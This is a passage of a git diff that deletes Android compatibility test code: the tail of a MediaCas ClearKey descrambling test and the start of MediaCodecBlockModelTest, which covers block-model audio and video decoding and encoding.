-        fail("ClearKey plugin " + String.format("0x%d", sClearKeySystemId) + " is not found");
-    }
-
-    /**
-     * Test that valid call sequences succeed.
-     */
-    public void testClearKeyApis() throws Exception {
-        MediaCas mediaCas = null;
-        MediaDescrambler descrambler = null;
-
-        try {
-            if (mIsAtLeastR) {
-                mediaCas = new MediaCas(getContext(), sClearKeySystemId, null,
-                    android.media.tv.TvInputService.PRIORITY_HINT_USE_CASE_TYPE_LIVE);
-            } else {
-                mediaCas = new MediaCas(sClearKeySystemId);
-            }
-            descrambler = new MediaDescrambler(sClearKeySystemId);
-
-            mediaCas.provision(sProvisionStr);
-
-            byte[] pvtData = new byte[256];
-            mediaCas.setPrivateData(pvtData);
-
-            Session session = mediaCas.openSession();
-            if (session == null) {
-                fail("Can't open session for program");
-            }
-
-            if (mIsAtLeastR) {
-                Log.d(TAG, "Session Id = " + Arrays.toString(session.getSessionId()));
-            }
-
-            session.setPrivateData(pvtData);
-
-            Session streamSession = mediaCas.openSession();
-            if (streamSession == null) {
-                fail("Can't open session for stream");
-            }
-            streamSession.setPrivateData(pvtData);
-
-            descrambler.setMediaCasSession(session);
-
-            descrambler.setMediaCasSession(streamSession);
-
-            mediaCas.refreshEntitlements(3, null);
-
-            byte[] refreshBytes = new byte[4];
-            refreshBytes[0] = 0;
-            refreshBytes[1] = 1;
-            refreshBytes[2] = 2;
-            refreshBytes[3] = 3;
-
-            mediaCas.refreshEntitlements(10, refreshBytes);
-
-            final HandlerThread thread = new HandlerThread("EventListenerHandlerThread");
-            thread.start();
-            Handler handler = new Handler(thread.getLooper());
-            testEventEcho(mediaCas, 1, 2, null /* data */, handler);
-            testSessionEventEcho(mediaCas, session, 1, 2, null /* data */, handler);
-            if (mIsAtLeastR) {
-                testOpenSessionEcho(mediaCas, 0, 2, handler);
-            }
-            thread.interrupt();
-
-            String eventDataString = "event data string";
-            byte[] eventData = eventDataString.getBytes();
-            testEventEcho(mediaCas, 3, 4, eventData, null /* handler */);
-            testSessionEventEcho(mediaCas, session, 3, 4, eventData, null /* handler */);
-
-            String emm = "clear key emm";
-            byte[] emmData = emm.getBytes();
-            mediaCas.processEmm(emmData);
-
-            byte[] ecmData = loadByteArrayFromString(sEcmBufferStr);
-            session.processEcm(ecmData);
-            streamSession.processEcm(ecmData);
-
-            ByteBuffer outputBuf = descrambleTestInputBuffer(descrambler);
-            ByteBuffer expectedOutputBuf = ByteBuffer.wrap(
-                    loadByteArrayFromString(sExpectedOutputBufferStr));
-            assertTrue("Incorrect decryption result",
-                    expectedOutputBuf.compareTo(outputBuf) == 0);
-
-            session.close();
-            streamSession.close();
-        } finally {
-            if (mediaCas != null) {
-                mediaCas.close();
-            }
-            if (descrambler != null) {
-                descrambler.close();
-            }
-        }
-    }
-
-    /**
-     * Test that all sessions are closed after a MediaCas object is released.
-     */
-    public void testClearKeySessionClosedAfterRelease() throws Exception {
-        MediaCas mediaCas = null;
-        MediaDescrambler descrambler = null;
-
-        try {
-            mediaCas = new MediaCas(sClearKeySystemId);
-            descrambler = new MediaDescrambler(sClearKeySystemId);
-            mediaCas.provision(sProvisionStr);
-
-            Session session = mediaCas.openSession();
-            if (session == null) {
-                fail("Can't open session for program");
-            }
-
-            Session streamSession = mediaCas.openSession();
-            if (streamSession == null) {
-                fail("Can't open session for stream");
-            }
-
-            mediaCas.close();
-            mediaCas = null;
-
-            try {
-                descrambler.setMediaCasSession(session);
-                fail("Program session not closed after MediaCas is released");
-            } catch (MediaCasStateException e) {
-                Log.d(TAG, "setMediaCasSession throws "
-                        + e.getDiagnosticInfo() + " (as expected)");
-            }
-            try {
-                descrambler.setMediaCasSession(streamSession);
-                fail("Stream session not closed after MediaCas is released");
-            } catch (MediaCasStateException e) {
-                Log.d(TAG, "setMediaCasSession throws "
-                        + e.getDiagnosticInfo() + " (as expected)");
-            }
-        } finally {
-            if (mediaCas != null) {
-                mediaCas.close();
-            }
-            if (descrambler != null) {
-                descrambler.close();
-            }
-        }
-    }
-
-    /**
-     * Test that invalid call sequences fail with expected exceptions.
-     */
-    public void testClearKeyExceptions() throws Exception {
-        MediaCas mediaCas = null;
-        MediaDescrambler descrambler = null;
-
-        try {
-            mediaCas = new MediaCas(sClearKeySystemId);
-            descrambler = new MediaDescrambler(sClearKeySystemId);
-
-            /*
-             * Test MediaCas exceptions
-             */
-
-            // provision should fail with an invalid asset string
-            try {
-                mediaCas.provision("invalid asset string");
-                fail("provision shouldn't succeed with invalid asset");
-            } catch (MediaCasStateException e) {
-                Log.d(TAG, "provision throws " + e.getDiagnosticInfo() + " (as expected)");
-            }
-
-            // processEmm should reject invalid offset and length
-            String emm = "clear key emm";
-            byte[] emmData = emm.getBytes();
-            try {
-                mediaCas.processEmm(emmData, 8, 40);
-            } catch (ArrayIndexOutOfBoundsException e) {
-                Log.d(TAG, "processEmm throws ArrayIndexOutOfBoundsException (as expected)");
-            }
-
-            // open a session, then close it so that it should become invalid
-            Session invalidSession = mediaCas.openSession();
-            if (invalidSession == null) {
-                fail("Can't open session for program");
-            }
-            invalidSession.close();
-
-            byte[] ecmData = loadByteArrayFromString(sEcmBufferStr);
-
-            // processEcm should fail with an invalid session id
-            try {
-                invalidSession.processEcm(ecmData);
-                fail("processEcm shouldn't succeed with invalid session id");
-            } catch (MediaCasStateException e) {
-                Log.d(TAG, "processEcm throws " + e.getDiagnosticInfo() + " (as expected)");
-            }
-
-            Session session = mediaCas.openSession();
-            if (session == null) {
-                fail("Can't open session for program");
-            }
-
-            // processEcm should fail without provisioning
-            try {
-                session.processEcm(ecmData);
-                fail("processEcm shouldn't succeed without provisioning");
-            } catch (MediaCasException.NotProvisionedException e) {
-                Log.d(TAG, "processEcm throws NotProvisionedException (as expected)");
-            }
-
-            // Now provision it, and expect failures other than NotProvisionedException
-            mediaCas.provision(sProvisionStr);
-
-            // processEcm should fail with ecm buffer that's too short
-            try {
-                session.processEcm(ecmData, 0, 8);
-                fail("processEcm shouldn't succeed with truncated ecm");
-            } catch (IllegalArgumentException e) {
-                Log.d(TAG, "processEcm throws " + e.toString() + " (as expected)");
-            }
-
-            // processEcm should fail with ecm with bad descriptor count
-            try {
-                ecmData[17] = 3; // change the descriptor count field to 3 (invalid)
-                session.processEcm(ecmData);
-                fail("processEcm shouldn't succeed with altered descriptor count");
-            } catch (MediaCasStateException e) {
-                Log.d(TAG, "processEcm throws " + e.getDiagnosticInfo() + " (as expected)");
-            }
-
-            /*
-             * Test MediaDescrambler exceptions
-             */
-
-            // setMediaCasSession should fail with an invalid session id
-            try {
-                descrambler.setMediaCasSession(invalidSession);
-                fail("setMediaCasSession shouldn't succeed with invalid session id");
-            } catch (MediaCasStateException e) {
-                Log.d(TAG, "setMediaCasSession throws "
-                        + e.getDiagnosticInfo() + " (as expected)");
-            }
-
-            // descramble should fail without a valid session
-            try {
-                ByteBuffer outputBuf = descrambleTestInputBuffer(descrambler);
-                fail("descramble should fail without a valid session");
-            } catch (MediaCasStateException e) {
-                Log.d(TAG, "descramble throws " + e.getDiagnosticInfo() + " (as expected)");
-            }
-
-            // Now set a valid session, should still fail because no valid ecm is processed
-            descrambler.setMediaCasSession(session);
-            try {
-                ByteBuffer outputBuf = descrambleTestInputBuffer(descrambler);
-                fail("descramble should fail without valid ecm");
-            } catch (MediaCasStateException e) {
-                Log.d(TAG, "descramble throws " + e.getDiagnosticInfo() + " (as expected)");
-            }
-        } finally {
-            if (mediaCas != null) {
-                mediaCas.close();
-            }
-            if (descrambler != null) {
-                descrambler.close();
-            }
-        }
-    }
-
-    /**
-     * Test Resource Lost Event.
-     */
-    public void testResourceLostEvent() throws Exception {
-        MediaCas mediaCas = null;
-        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
-
-        try {
-            mediaCas = new MediaCas(getContext(), sClearKeySystemId, null,
-                android.media.tv.TvInputService.PRIORITY_HINT_USE_CASE_TYPE_LIVE);
-
-            mediaCas.provision(sProvisionStr);
-
-            byte[] pvtData = new byte[256];
-            mediaCas.setPrivateData(pvtData);
-
-            Session session = mediaCas.openSession();
-            if (session == null) {
-                fail("Can't open session for program");
-            }
-
-            Session streamSession = mediaCas.openSession();
-            if (streamSession == null) {
-                fail("Can't open session for stream");
-            }
-
-            final HandlerThread thread = new HandlerThread("EventListenerHandlerThread");
-            thread.start();
-            Handler handler = new Handler(thread.getLooper());
-            testForceResourceLost(mediaCas, handler);
-            thread.interrupt();
-
-        } finally {
-            if (mediaCas != null) {
-                mediaCas.close();
-            }
-        }
-    }
-
-    /**
-     * Test Set Event Listener in MediaCas Constructor.
-     */
-    public void testConstructWithEventListener() throws Exception {
-        MediaCas mediaCas = null;
-        if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) return;
-
-        try {
-            TestEventListener listener = new TestEventListener();
-            HandlerThread thread = new HandlerThread("EventListenerHandlerThread");
-            thread.start();
-            Handler handler = new Handler(thread.getLooper());
-
-            mediaCas = new MediaCas(getContext(), sClearKeySystemId, null,
-                android.media.tv.TvInputService.PRIORITY_HINT_USE_CASE_TYPE_LIVE, handler,
-                listener);
-
-            thread.interrupt();
-
-        } finally {
-            if (mediaCas != null) {
-                mediaCas.close();
-            }
-        }
-    }
-
-    private class TestEventListener implements MediaCas.EventListener {
-        private final CountDownLatch mLatch = new CountDownLatch(1);
-        private final MediaCas mMediaCas;
-        private final MediaCas.Session mSession;
-        private final int mEvent;
-        private final int mArg;
-        private final byte[] mData;
-        private boolean mIsIdential;
-
-        TestEventListener() {
-            mMediaCas = null;
-            mEvent = 0;
-            mArg = 0;
-            mData = null;
-            mSession = null;
-        }
-
-        TestEventListener(MediaCas mediaCas, int event, int arg, byte[] data) {
-            mMediaCas = mediaCas;
-            mEvent = event;
-            mArg = arg;
-            mData = data;
-            mSession = null;
-        }
-
-        TestEventListener(MediaCas mediaCas, MediaCas.Session session, int event,
-                int arg, byte[] data) {
-            mMediaCas = mediaCas;
-            mSession = session;
-            mEvent = event;
-            mArg = arg;
-            mData = data;
-        }
-
-        TestEventListener(MediaCas mediaCas, int intent, int scramblingMode) {
-            mMediaCas = mediaCas;
-            mEvent = intent;
-            mArg = scramblingMode;
-            mData = null;
-            mSession = null;
-        }
-
-        TestEventListener(MediaCas mediaCas) {
-            mMediaCas = mediaCas;
-            mEvent = 0;
-            mArg = 0;
-            mData = null;
-            mSession = null;
-        }
-
-        boolean waitForResult() {
-            try {
-                if (!mLatch.await(1, TimeUnit.SECONDS)) {
-                    return false;
-                }
-                return mIsIdential;
-            } catch (InterruptedException e) {}
-            return false;
-        }
-
-        @Override
-        public void onEvent(MediaCas mediaCas, int event, int arg, byte[] data) {
-            Log.d(TAG, "Received MediaCas event: event=" + event
-                    + ", arg=" + arg + ", data=" + Arrays.toString(data));
-            if (mediaCas == mMediaCas && event == mEvent
-                    && arg == mArg && (Arrays.equals(data, mData) ||
-                            data == null && mData.length == 0 ||
-                            mData == null && data.length == 0)) {
-                mIsIdential = true;
-            }
-            mLatch.countDown();
-        }
-
-        @Override
-        public void onSessionEvent(MediaCas mediaCas, MediaCas.Session session,
-            int event, int arg, byte[] data) {
-            Log.d(TAG, "Received MediaCas session event: event=" + event
-                    + ", arg=" + arg + ", data=" + Arrays.toString(data));
-            if (mediaCas == mMediaCas && mSession.equals(session) && event == mEvent
-                    && arg == mArg && (Arrays.equals(data, mData) ||
-                            data == null && mData.length == 0 ||
-                            mData == null && data.length == 0)) {
-                mIsIdential = true;
-            }
-            mLatch.countDown();
-        }
-
-        @Override
-        public void onPluginStatusUpdate(MediaCas mediaCas, int statusUpdated, int arg) {
-            Log.d(TAG, "Received MediaCas Status Update event");
-            if (mediaCas == mMediaCas && statusUpdated == mEvent && arg == mArg ) {
-                mIsIdential = true;
-            }
-            mLatch.countDown();
-        }
-
-        @Override
-        public void onResourceLost(MediaCas mediaCas) {
-            Log.d(TAG, "Received MediaCas Resource Lost event");
-            if (mediaCas == mMediaCas) {
-                mIsIdential = true;
-            }
-            mLatch.countDown();
-        }
-    }
-
-    // helper to send an event and wait for echo
-    private void testEventEcho(MediaCas mediaCas, int event,
-            int arg, byte[] data, Handler handler) throws Exception {
-        TestEventListener listener = new TestEventListener(mediaCas, event, arg, data);
-        mediaCas.setEventListener(listener, handler);
-        mediaCas.sendEvent(event, arg, data);
-        assertTrue("Didn't receive event callback for " + event, listener.waitForResult());
-    }
-
-    // helper to send an event and wait for echo
-    private void testSessionEventEcho(MediaCas mediaCas, MediaCas.Session session, int event,
-            int arg, byte[] data, Handler handler) throws Exception {
-        TestEventListener listener = new TestEventListener(mediaCas, session, event, arg, data);
-        mediaCas.setEventListener(listener, handler);
-        try {
-            session.sendSessionEvent(event, arg, data);
-        } catch (UnsupportedCasException e) {
-            if (!PropertyUtil.isVendorApiLevelNewerThan(API_LEVEL_BEFORE_CAS_SESSION)){
-                Log.d(TAG, "Send Session Event isn't supported, Skipped this test case");
-                return;
-            }
-            throw e;
-        }
-        assertTrue("Didn't receive session event callback for " + event, listener.waitForResult());
-    }
-
-    // helper to open Session with scrambling mode and wait for echo for status change event
-    private void testOpenSessionEcho(MediaCas mediaCas, int intent, int scramblingMode,
-        Handler handler) throws Exception {
-        TestEventListener listener = new TestEventListener(mediaCas, intent, scramblingMode);
-        mediaCas.setEventListener(listener, handler);
-        try {
-            mediaCas.openSession(intent, scramblingMode);
-        } catch (UnsupportedCasException e) {
-            if (!PropertyUtil.isVendorApiLevelNewerThan(API_LEVEL_BEFORE_CAS_SESSION + 1)) {
-                Log.d(TAG,
-                    "Opens Session with scramblingMode isn't supported, Skipped this test case");
-                return;
-            }
-            throw e;
-        }
-        assertTrue("Didn't receive Echo from openSession with scrambling mode: " + scramblingMode,
-            listener.waitForResult());
-    }
-
-    // helper to force to lose resource and wait for Resource Lost event
-    private void testForceResourceLost(MediaCas mediaCas, Handler handler) throws Exception {
-        TestEventListener listener = new TestEventListener(mediaCas);
-        mediaCas.setEventListener(listener, handler);
-        mediaCas.forceResourceLost();
-        assertTrue("Didn't receive Resource Lost event ", listener.waitForResult());
-    }
-
-    // helper to descramble from the sample input (sInputBufferStr) and get output buffer
-    private ByteBuffer descrambleTestInputBuffer(
-            MediaDescrambler descrambler) throws Exception {
-        MediaCodec.CryptoInfo cryptoInfo = new MediaCodec.CryptoInfo();
-        int[] numBytesOfClearData     = new int[] { 162,   0,   0 };
-        int[] numBytesOfEncryptedData = new int[] {   0, 184, 184 };
-        byte[] key = new byte[16];
-        key[0] = 2; // scrambling mode = even key
-        byte[] iv = new byte[16]; // not used
-        cryptoInfo.set(3, numBytesOfClearData, numBytesOfEncryptedData,
-                key, iv, MediaCodec.CRYPTO_MODE_AES_CBC);
-        ByteBuffer inputBuf = ByteBuffer.wrap(
-                loadByteArrayFromString(sInputBufferStr));
-        ByteBuffer outputBuf = ByteBuffer.allocate(inputBuf.capacity());
-        descrambler.descramble(inputBuf, outputBuf, cryptoInfo);
-
-        return outputBuf;
-    }
-
-    // helper to load byte[] from a String
-    private byte[] loadByteArrayFromString(final String str) {
-        Pattern pattern = Pattern.compile("[0-9a-fA-F]{2}");
-        Matcher matcher = pattern.matcher(str);
-        // allocate a large enough byte array first
-        byte[] tempArray = new byte[str.length() / 2];
-        int i = 0;
-        while (matcher.find()) {
-          tempArray[i++] = (byte)Integer.parseInt(matcher.group(), 16);
-        }
-        return Arrays.copyOfRange(tempArray, 0, i);
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java b/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java
deleted file mode 100644
index 696e37f..0000000
--- a/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java
+++ /dev/null
@@ -1,1009 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.content.res.AssetFileDescriptor;
-import android.hardware.HardwareBuffer;
-import android.media.Image;
-import android.media.MediaCodec;
-import android.media.MediaCodec.BufferInfo;
-import android.media.MediaCodec.CodecException;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecList;
-import android.media.MediaCrypto;
-import android.media.MediaDrm;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.net.Uri;
-import android.os.Build;
-import android.os.ParcelFileDescriptor;
-import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.Presubmit;
-import android.platform.test.annotations.RequiresDevice;
-import android.test.AndroidTestCase;
-import android.util.Log;
-import android.view.Surface;
-
-import androidx.test.filters.SmallTest;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.MediaUtils;
-
-import java.io.IOException;
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.nio.ByteBuffer;
-import java.util.ArrayList;
-import java.util.Collections;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;;
-import java.util.UUID;;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicReference;
-import java.util.function.Supplier;
-
-/**
- * MediaCodec tests with CONFIGURE_FLAG_USE_BLOCK_MODEL.
- */
-@NonMediaMainlineTest
-@AppModeFull(reason = "Instant apps cannot access the SD card")
-public class MediaCodecBlockModelTest extends AndroidTestCase {
-    private static final String TAG = "MediaCodecBlockModelTest";
-    private static final boolean VERBOSE = false;           // lots of logging
-
-                                                            // H.264 Advanced Video Coding
-    private static final String MIME_TYPE = MediaFormat.MIMETYPE_VIDEO_AVC;
-
-    private static final int APP_BUFFER_SIZE = 1024 * 1024;  // 1 MB
-
-    // Input buffers from this input video are queued up to and including the video frame with
-    // timestamp LAST_BUFFER_TIMESTAMP_US.
-    private static final String INPUT_RESOURCE =
-            "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz.mp4";
-    private static final long LAST_BUFFER_TIMESTAMP_US = 166666;
-
-    // The test should fail if the codec never produces output frames for the truncated input.
-    // Time out processing, as we have no way to query whether the decoder will produce output.
-    private static final int TIMEOUT_MS = 60000;  // 1 minute
-
-    private boolean mIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
-
-    static final String mInpPrefix = WorkDir.getMediaDirString();
-
-    protected static AssetFileDescriptor getAssetFileDescriptorFor(final String res)
-            throws FileNotFoundException {
-        File inpFile = new File(mInpPrefix + res);
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        ParcelFileDescriptor parcelFD =
-                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
-        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
-    }
-
-    /**
-     * Tests whether decoding a short group-of-pictures succeeds. The test queues a few video frames
-     * then signals end-of-stream. The test fails if the decoder doesn't output the queued frames.
-     */
-    @Presubmit
-    @SmallTest
-    @RequiresDevice
-    public void testDecodeShortVideo() throws InterruptedException {
-        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
-        runThread(() -> runDecodeShortVideo(
-                INPUT_RESOURCE,
-                LAST_BUFFER_TIMESTAMP_US,
-                true /* obtainBlockForEachBuffer */));
-        runThread(() -> runDecodeShortVideo(
-                INPUT_RESOURCE,
-                LAST_BUFFER_TIMESTAMP_US,
-                false /* obtainBlockForEachBuffer */));
-    }
-
-    /**
-     * Tests whether decoding a short encrypted group-of-pictures succeeds.
-     * The test queues a few encrypted video frames
-     * then signals end-of-stream. The test fails if the decoder doesn't output the queued frames.
-     */
-    public void testDecodeShortEncryptedVideo() throws InterruptedException {
-        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
-        runThread(() -> runDecodeShortEncryptedVideo(
-                true /* obtainBlockForEachBuffer */));
-        runThread(() -> runDecodeShortEncryptedVideo(
-                false /* obtainBlockForEachBuffer */));
-    }
-
-    /**
-     * Tests whether decoding a short audio succeeds. The test queues a few audio frames
-     * then signals end-of-stream. The test fails if the decoder doesn't output the queued frames.
-     */
-    @Presubmit
-    @SmallTest
-    @RequiresDevice
-    public void testDecodeShortAudio() throws InterruptedException {
-        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
-        runThread(() -> runDecodeShortAudio(
-                INPUT_RESOURCE,
-                LAST_BUFFER_TIMESTAMP_US,
-                true /* obtainBlockForEachBuffer */));
-        runThread(() -> runDecodeShortAudio(
-                INPUT_RESOURCE,
-                LAST_BUFFER_TIMESTAMP_US,
-                false /* obtainBlockForEachBuffer */));
-    }
-
-    /**
-     * Tests whether encoding a short audio succeeds. The test queues a few audio frames
-     * then signals end-of-stream. The test fails if the encoder doesn't output the queued frames.
-     */
-    @Presubmit
-    @SmallTest
-    @RequiresDevice
-    public void testEncodeShortAudio() throws InterruptedException {
-        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
-        runThread(() -> runEncodeShortAudio());
-    }
-
-    /**
-     * Tests whether encoding a short video succeeds. The test queues a few video frames
-     * then signals end-of-stream. The test fails if the encoder doesn't output the queued frames.
-     */
-    @Presubmit
-    @SmallTest
-    @RequiresDevice
-    public void testEncodeShortVideo() throws InterruptedException {
-        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
-        runThread(() -> runEncodeShortVideo());
-    }
-
-    /**
-     * Test whether format change happens as expected in block model mode.
-     */
-    @Presubmit
-    @SmallTest
-    @RequiresDevice
-    public void testFormatChange() throws InterruptedException {
-        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
-        List<FormatChangeEvent> events = new ArrayList<>();
-        Result result = runThread(() -> runDecodeShortVideo(
-                getMediaExtractorForMimeType(INPUT_RESOURCE, "video/"),
-                LAST_BUFFER_TIMESTAMP_US,
-                true /* obtainBlockForEachBuffer */,
-                MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 320, 240),
-                events,
-                null /* sessionId */));
-        if (result == Result.SKIP) {
-            MediaUtils.skipTest("skipped");
-            return;
-        }
-        int width = 320;
-        int height = 240;
-        for (FormatChangeEvent event : events) {
-            if (event.changedKeys.contains(MediaFormat.KEY_WIDTH)) {
-                width = event.format.getInteger(MediaFormat.KEY_WIDTH);
-            }
-            if (event.changedKeys.contains(MediaFormat.KEY_HEIGHT)) {
-                height = event.format.getInteger(MediaFormat.KEY_HEIGHT);
-            }
-        }
-        assertEquals("Width should have been updated", 480, width);
-        assertEquals("Height should have been updated", 360, height);
-    }
-
-    private enum Result {
-        SUCCESS,
-        FAIL,
-        SKIP,
-    }
-
-    private Result runThread(Supplier<Result> supplier) throws InterruptedException {
-        final AtomicReference<Result> result = new AtomicReference<>(Result.FAIL);
-        Thread thread = new Thread(new Runnable() {
-            public void run() {
-                result.set(supplier.get());
-            }
-        });
-        final AtomicReference<Throwable> throwable = new AtomicReference<>();
-        thread.setUncaughtExceptionHandler((Thread t, Throwable e) -> {
-            throwable.set(e);
-        });
-        thread.start();
-        thread.join(TIMEOUT_MS);
-        Throwable t = throwable.get();
-        if (t != null) {
-            throw new AssertionError("There was an error while running the thread", t);
-        }
-        assertTrue("timed out decoding to end-of-stream", result.get() != Result.FAIL);
-        return result.get();
-    }
-
-    private static class LinearInputBlock {
-        MediaCodec.LinearBlock block;
-        ByteBuffer buffer;
-        int offset;
-    }
-
-    private static interface InputSlotListener {
-        public void onInputSlot(MediaCodec codec, int index, LinearInputBlock input) throws Exception;
-    }
-
-    private static class ExtractorInputSlotListener implements InputSlotListener {
-        public static class Builder {
-            public Builder setExtractor(MediaExtractor extractor) {
-                mExtractor = extractor;
-                return this;
-            }
-
-            public Builder setLastBufferTimestampUs(Long timestampUs) {
-                mLastBufferTimestampUs = timestampUs;
-                return this;
-            }
-
-            public Builder setObtainBlockForEachBuffer(boolean enabled) {
-                mObtainBlockForEachBuffer = enabled;
-                return this;
-            }
-
-            public Builder setTimestampQueue(List<Long> list) {
-                mTimestampList = list;
-                return this;
-            }
-
-            public Builder setContentEncrypted(boolean encrypted) {
-                mContentEncrypted = encrypted;
-                return this;
-            }
-
-            public ExtractorInputSlotListener build() {
-                if (mExtractor == null) {
-                    throw new IllegalStateException("Extractor must be set");
-                }
-                return new ExtractorInputSlotListener(
-                        mExtractor, mLastBufferTimestampUs,
-                        mObtainBlockForEachBuffer, mTimestampList,
-                        mContentEncrypted);
-            }
-
-            private MediaExtractor mExtractor = null;
-            private Long mLastBufferTimestampUs = null;
-            private boolean mObtainBlockForEachBuffer = false;
-            private List<Long> mTimestampList = null;
-            private boolean mContentEncrypted = false;
-        }
-
-        private ExtractorInputSlotListener(
-                MediaExtractor extractor,
-                Long lastBufferTimestampUs,
-                boolean obtainBlockForEachBuffer,
-                List<Long> timestampList,
-                boolean contentEncrypted) {
-            mExtractor = extractor;
-            mLastBufferTimestampUs = lastBufferTimestampUs;
-            mObtainBlockForEachBuffer = obtainBlockForEachBuffer;
-            mTimestampList = timestampList;
-            mContentEncrypted = contentEncrypted;
-        }
-
-        @Override
-        public void onInputSlot(MediaCodec codec, int index, LinearInputBlock input) throws Exception {
-            // Try to feed more data into the codec.
-            if (mExtractor.getSampleTrackIndex() == -1 || mSignaledEos) {
-                return;
-            }
-            long size = mExtractor.getSampleSize();
-            String[] codecNames = new String[]{ codec.getName() };
-            if (mContentEncrypted) {
-                codecNames[0] = codecNames[0] + ".secure";
-            }
-            if (mObtainBlockForEachBuffer) {
-                input.block.recycle();
-                input.block = MediaCodec.LinearBlock.obtain(Math.toIntExact(size), codecNames);
-                assertTrue("Blocks obtained through LinearBlock.obtain must be mappable",
-                        input.block.isMappable());
-                input.buffer = input.block.map();
-                input.offset = 0;
-            }
-            if (input.buffer.capacity() < size) {
-                input.block.recycle();
-                input.block = MediaCodec.LinearBlock.obtain(
-                        Math.toIntExact(size * 2), codecNames);
-                assertTrue("Blocks obtained through LinearBlock.obtain must be mappable",
-                        input.block.isMappable());
-                input.buffer = input.block.map();
-                input.offset = 0;
-            } else if (input.buffer.capacity() - input.offset < size) {
-                long capacity = input.buffer.capacity();
-                input.block.recycle();
-                input.block = MediaCodec.LinearBlock.obtain(
-                        Math.toIntExact(capacity), codecNames);
-                assertTrue("Blocks obtained through LinearBlock.obtain must be mappable",
-                        input.block.isMappable());
-                input.buffer = input.block.map();
-                input.offset = 0;
-            }
-            long timestampUs = mExtractor.getSampleTime();
-            int written = mExtractor.readSampleData(input.buffer, input.offset);
-            boolean encrypted =
-                    (mExtractor.getSampleFlags() & MediaExtractor.SAMPLE_FLAG_ENCRYPTED) != 0;
-            if (encrypted) {
-                mExtractor.getSampleCryptoInfo(mCryptoInfo);
-            }
-            mExtractor.advance();
-            mSignaledEos = mExtractor.getSampleTrackIndex() == -1
-                    || (mLastBufferTimestampUs != null && timestampUs >= mLastBufferTimestampUs);
-            MediaCodec.QueueRequest request = codec.getQueueRequest(index);
-            if (encrypted) {
-                request.setEncryptedLinearBlock(
-                        input.block, input.offset, written, mCryptoInfo);
-            } else {
-                request.setLinearBlock(input.block, input.offset, written);
-            }
-            request.setPresentationTimeUs(timestampUs);
-            request.setFlags(mSignaledEos ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
-            if (mSetParams) {
-                request.setIntegerParameter("vendor.int", 0);
-                request.setLongParameter("vendor.long", 0);
-                request.setFloatParameter("vendor.float", (float)0);
-                request.setStringParameter("vendor.string", "str");
-                request.setByteBufferParameter("vendor.buffer", ByteBuffer.allocate(1));
-                mSetParams = false;
-            }
-            request.queue();
-            input.offset += written;
-            if (mTimestampList != null) {
-                mTimestampList.add(timestampUs);
-            }
-        }
-
-        private final MediaExtractor mExtractor;
-        private final Long mLastBufferTimestampUs;
-        private final boolean mObtainBlockForEachBuffer;
-        private final List<Long> mTimestampList;
-        private boolean mSignaledEos = false;
-        private boolean mSetParams = true;
-        private final MediaCodec.CryptoInfo mCryptoInfo = new MediaCodec.CryptoInfo();
-        private final boolean mContentEncrypted;
-    }
-
-    private static interface OutputSlotListener {
-        // Returns true if EOS is met
-        public boolean onOutputSlot(MediaCodec codec, int index) throws Exception;
-    }
-
-    private static class DummyOutputSlotListener implements OutputSlotListener {
-        public DummyOutputSlotListener(boolean graphic, List<Long> timestampList) {
-            mGraphic = graphic;
-            mTimestampList = timestampList;
-        }
-
-        @Override
-        public boolean onOutputSlot(MediaCodec codec, int index) throws Exception {
-            MediaCodec.OutputFrame frame = codec.getOutputFrame(index);
-            boolean eos = (frame.getFlags() & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0;
-
-            if (mGraphic && frame.getHardwareBuffer() != null) {
-                frame.getHardwareBuffer().close();
-            }
-            if (!mGraphic && frame.getLinearBlock() != null) {
-                frame.getLinearBlock().recycle();
-            }
-
-            mTimestampList.remove(frame.getPresentationTimeUs());
-
-            codec.releaseOutputBuffer(index, false);
-
-            return eos;
-        }
-
-        private final boolean mGraphic;
-        private final List<Long> mTimestampList;
-    }
-
-    private static class SurfaceOutputSlotListener implements OutputSlotListener {
-        public SurfaceOutputSlotListener(
-                OutputSurface surface,
-                List<Long> timestampList,
-                List<FormatChangeEvent> events) {
-            mOutputSurface = surface;
-            mTimestampList = timestampList;
-            mEvents = (events != null) ? events : new ArrayList<>();
-        }
-
-        @Override
-        public boolean onOutputSlot(MediaCodec codec, int index) throws Exception {
-            MediaCodec.OutputFrame frame = codec.getOutputFrame(index);
